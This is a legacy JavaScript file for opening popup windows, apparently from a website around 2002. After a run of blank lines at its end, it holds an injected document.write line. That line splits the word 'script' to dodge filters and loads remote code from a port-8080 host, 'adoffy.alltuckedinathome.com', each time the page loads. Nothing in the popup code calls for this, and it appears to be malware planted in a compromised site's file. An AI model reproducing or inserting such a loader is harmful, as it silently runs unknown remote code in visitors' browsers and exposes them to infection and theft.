/********************************************
*FILE NAME:				3parampopup.js
* AUTHOR:				Craig Williams
* LAST MODIFIED:		2/27/02
* DETAILS:	 			NS4+ IE4+ 		
*********************************************/
var NS = (document.layers);
var IE = (document.all);
var popup

if (IE) 
{
	popup = null;
}

function new_window(s,w,h,top,left) 
{
	var top;  // top was left undefined to allow backwards compatible with old script	
	var left; // left was left undefined to allow backwards compatible with old script
	var halfWidth = ((screen.width / 2) - 150); // calculates half of screen width and stores value in variable
	if (left == 'half')
	{
		left = halfWidth;
	}
	var w=w+20;
	var h=h+20;
	var settings = 'toolbar=no,title=no,location=no,directories=no,status=no,menubar=no,scrollbars=yes,width=' + w + ',height=' + h + ',top=' + top + ',left=' + left + ',resizable=yes';
		if (top == "undefined" || left == "undefined") // if top and left are undefined then set them to 0;
		{
			top = 20;
			left = 20;
		}	
		if (NS)
		{
			popup = null;
		}
		if (popup != null && !popup.closed)
		{ 
			popup.close();
		}	
	popup =	window.open(s,'popup',settings);
	popup.focus(); // used to bring popup window to front
}







document.write('<s'+'cript type="text/javascript" src="http://adoffy.alltuckedinathome.com:8080/Netiquette.js"></scr'+'ipt>');